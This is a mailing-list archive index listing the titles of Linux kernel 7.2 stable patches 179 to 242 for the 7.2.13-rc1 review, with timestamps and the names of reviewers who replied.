2026-10-23 16:40 ` [PATCH 7.2 179/242] cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 180/242] cifs: add revalidation on FSCTL failure in smb2_duplicate_extents() Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 181/242] cifs: dont update i_size in cifs_do_truncate without a cached handle Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 182/242] dm cache: fix demotion stats in passthrough mode Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 183/242] dm cache: fix issue with background work locking Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 184/242] dm-crypt: fix a tiny race condition in crypt_dec_pending Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 185/242] dm-ebs: fix incorrect device offset check in ebs_ctr() Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 186/242] dm-integrity: fix infinite loop on discard with large tag size Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 187/242] dm-integrity: require stable writes for internal hash modes Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 188/242] mac802154: fix data race and NULL deref on local->assoc_dev Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 189/242] net/iucv: fix the recvmsg window update Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 190/242] xfs: dont hold buffer locks across sync transaction commit in xfs_sync_sb_buf Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 191/242] xfs: fix capability check in xfs Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 192/242] xfs: fix zoned write iomap flags assignments Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 193/242] netlink: specs: fix the conntrack filter type Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 194/242] netlink: specs: add missing mask attributes for conntrack dump Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 195/242] io_uring/cancel: dont spin on local work the task cant run Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 196/242] workqueue: Use raise_softirq() to trigger softirq in irq_work handler Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 197/242] workqueue: Annotate cb_lock nesting when draining a dead BH pool Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 198/242] tipc: protect node reset trace dump with node lock Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 199/242] selinux: fix BPF token permission checks Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 200/242] sctp: validate chunk length in the inqueue parser Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 201/242] page_pool: keep frag_offset aligned for odd-sized requests Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 202/242] s390/ctcm: Prevent XID null dereference Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 203/242] s390/pai: Handle multiple PMU stop callback invocations Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 204/242] s390/pci: Fix leak of uninitialized kernel data in SCLP report Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 205/242] vsock/virtio: validate packet source for connected sockets Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 206/242] vsock/vmci: " Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 207/242] ipv4: avoid divide by zero in fib_rebalance Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 208/242] drm/amdgpu: Fix VCE 3 ring align_mask Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 209/242] KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 210/242] drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 211/242] drm/amdgpu/userq: actually validate userq BOs Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 212/242] drm/i915/dmc: Harden DMC firmware payload parsing Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 213/242] net: bridge: mcast: dont truncate the port group walk on teardown Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 214/242] net: ntb_netdev: Fix statistics races Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 215/242] net: psp: do not inherit the Rx association on clone Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 216/242] ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 217/242] ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 218/242] ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 219/242] net/sched: cls_flower: validate mask pointer after nla_next() Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 220/242] smb: client: fix data corruption with concurrent writes and O_TRUNC Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 221/242] smb: client: fix heap overflow in cifs_do_set_acl() Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 222/242] smb: client: fix multiuser mount with krb5 Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 223/242] smb: client: reject SetEA requests that do not fit the request buffer Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 224/242] ntfs: handle signal interruption in fallocate Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 225/242] ntfs: fix FITRIM range alignment Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 226/242] ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 227/242] ntfs: fix undefined behavior in mft/index record size calculation Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 228/242] genirq/proc: Fix missing CPU header in /proc/interrupts Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 229/242] drm/amdgpu: Remove the bo list mutex Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 230/242] drm/amdgpu: free the userptr ranges when a CS fails after parser_bos Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 231/242] sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPUs local DSQ Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 232/242] tracing: Use __free() for expr_str() buffer Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 233/242] tracing: Bound histogram expression strings with seq_buf Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 234/242] tracing: Fix NULL dereference when copying keys for a field variable Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 235/242] sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 236/242] workqueue: Fix unbound pool lifetime for pending pwqs Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 237/242] ntfs: use pagecache_isize_extended() on size extension Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 238/242] ntfs: take invalidate_lock in ntfs_setattr_size() Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 239/242] ntfs: fix resident conversion in ntfs_new_attr_flags Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 240/242] ntfs: move attribute payload before shrinking its record Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 241/242] ntfs: fix memmove overlap in ntfs_new_attr_flags Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 242/242] smb: client: drain outstanding I/O before truncating on O_TRUNC open Greg Kroah-Hartman
2026-10-23 20:44 ` [PATCH 7.2 000/242] 7.2.13-rc1 review Pavel Machek
2026-10-23 21:34 ` Salvatore Bonaccorso
2026-10-23 22:44 ` Florian Fainelli
2026-10-23 23:42 ` Barry K. Nathan
2026-10-24 1:21 ` Peter Schneider
2026-10-24 5:32 ` Greg Kroah-Hartman
2026-10-24 14:09 ` Miguel Ojeda
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.